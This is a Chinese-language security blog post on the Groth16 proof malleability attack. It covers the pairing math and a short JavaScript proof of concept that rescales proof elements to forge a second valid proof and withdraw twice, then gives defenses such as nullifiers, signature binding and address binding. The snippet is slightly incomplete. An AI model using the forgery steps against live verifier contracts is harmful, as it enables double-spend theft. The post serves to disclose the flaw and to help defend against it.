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Groth16 证明延展性攻击：原理、实现与防御
查找币:余老师
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漏洞披露
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2026-05-09 22:48
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> 作者：查找币安全团队
## 前言
在之前的ZKP系列文章中，我们盘点了主流零知识证明实现方案的技术特点，并提及部分ZKP算法存在**证明延展性风险**。本篇我们将从实战角度，深入剖析Groth16证明系统的延展性攻击原理、工程实现方法，并提供详细的防御建议。
## 漏洞概述
### 什么是证明延展性攻击？
**证明延展性攻击**是指：攻击者在获取一个合法证明后，即使不知道原始见证（witness），也能通过数学变换生成新的合法证明。这种攻击的核心在于证明系统的代数结构存在可操作空间。
### 为什么关注Groth16？
目前主流证明系统中，**Groth16**是受延展性攻击影响最显著的方案。尽管存在多种更安全的证明系统，Groth16凭借其**极小的证明体积**和**极快的验证速度**，在计算成本高昂的区块链场景中仍是最优选择。
### 攻击后果
以一个基于ZKP的身份验证存款系统为例：
- 用户提交证明验证身份后即可提款
- 证明值被用作提款登记凭证
- 攻击者获取合法证明后，通过数学变换生成新证明
- 系统会将新证明视为不同用户的合法凭证，导致**多次提款**
这本质上是一种**双花攻击**，在DeFi、跨链桥等场景中尤为危险。
## 数学原理
### 理解验证函数
Groth16的验证核心公式如下（简化表示）：
```
e(A, B) = e(α, β) · e(C, δ) · e(∑(ai·ui), γ)
```
其中：
- `A`, `B`, `C` 是证明的三个关键元素
- `e` 表示双线性配对运算
- `α, β, γ, δ` 是公共参考字符串中的参数
### 攻击核心：代数变形
攻击的数学基础在于**双线性配对的可交换性**。我们可以利用群的结合律进行如下变换：
```
e(A·x, B·x⁻¹) = e(A, B)ˣ·ˣ⁻¹ = e(A, B)
```
其中 `x` 是任意非零域元素，`x⁻¹` 是其逆元。这个等式成立的关键在于：
1. 双线性配对满足 `e(a·P, b·Q) = e(P, Q)^(a·b)`
2. 当 `a·b = 1` 时，配对结果不变
因此，我们可以构造：
- `A' = x · A`
- `B' = x⁻¹ · B`
使得 `e(A', B') = e(A, B)`，从而绕过验证。
## 工程实现
### 环境准备
选择支持BN128曲线的JavaScript库：**ffjavascript**
```javascript
const F = require('ffjavascript').F;
const BN128 = require('ffjavascript').bn128;
```
### 攻击步骤
1. **获取目标证明**
```javascript
const proof = {
pi_a: ['175662...', '136538...', '1'],
pi_b: [['149061...', '152890...'], ['188412...', '683528...'], ['1', '0']],
pi_c: ['216418...', '208258...', '1']
};
```
2. **构造变换因子**
```javascript
const X = F.e("123456"); // 任意非零域元素
const invX = F.inv(X); // 计算逆元
```
3. **生成新证明**
```javascript
const A = curve.G1.fromObject(proof.pi_a);
const B = curve.G2.fromObject(proof.pi_b);
const new_pi_a = curve.G1.timesScalar(A, X);
const new_pi_b = curve.G2.timesScalar(B, invX);
const new_proof = {
pi_a: new_pi_a,
pi_b: new_pi_b,
pi_c: proof.pi_c // C保持不变
};
```
4. **验证新证明**
将 `new_proof` 提交至验证合约，验证函数返回 `true`，攻击成功。
### 攻击效果
- **证明大小不变**：仍为3个群元素
- **验证时间不变**：双线性配对运算复杂度相同
- **成功率100%**：只要原始证明合法，变换后的证明必然合法
## 防御方案
### 方案一：签名绑定
**原理**：要求证明提交者对proof进行数字签名，验证者同时验证证明和签名。
**优点**：实现简单，兼容现有系统
**缺点**：增加链上验证成本，需管理签名密钥
### 方案二：Nullifier机制（推荐）
**原理**：在电路公开输入中增加nullifier值，系统记录已使用的nullifier。
**实现示例**（参考TornadoCash）：
```solidity
mapping(uint256 => bool) public nullifierHashes;
function withdraw(uint256 nullifierHash, Groth16Proof memory proof) {
require(!nullifierHashes[nullifierHash], "Already spent");
require(verify(proof, nullifierHash), "Invalid proof");
nullifierHashes[nullifierHash] = true;
// 执行提款
}
```
### 方案三：身份绑定
**原理**：将证明者身份信息（如msg.sender）作为公开输入加入电路。
```solidity
function verifyWithAddress(Groth16Proof memory proof, address user) {
require(verify(proof, [user]), "Invalid proof");
require(msg.sender == user, "Address mismatch");
// 执行操作
}
```
### 方案四：更换证明系统
- **Plonk**：支持通用设置，抗延展性更强
- **Marlin**：基于多项式承诺，安全性更高
- **Sonic**：透明设置，无需可信初始化
## 总结
Groth16证明延展性攻击是一种**低门槛、高危害**的安全漏洞。攻击者仅需简单的代数变换即可生成新的合法证明，在未采取防护措施的场景中可直接导致双花攻击。
**核心防护原则**：
1. **绑定唯一标识**：将证明与特定上下文（nullifier、签名、身份）绑定
2. **状态追踪**：记录已使用的证明，防止重复提交
3. **系统升级**：在条件允许时迁移至更安全的证明系统
**查找币安全团队建议**：所有使用Groth16的DApp和协议应优先采用**Nullifier机制**进行防护，该方案在安全性和实现复杂度之间取得了最佳平衡。
---
*本文由查找币安全团队整理发布*
**参考链接**：
[1] How to Generate a Groth16 Proof for Forgery - PPIO Blog
**往期ZKP系列文章**：
- [盘点ZKP主流实现方案技术特点](https://example.com/zkp-overview)
- [Circom验证合约输入假名漏洞复现](https://example.com/circom-vuln)
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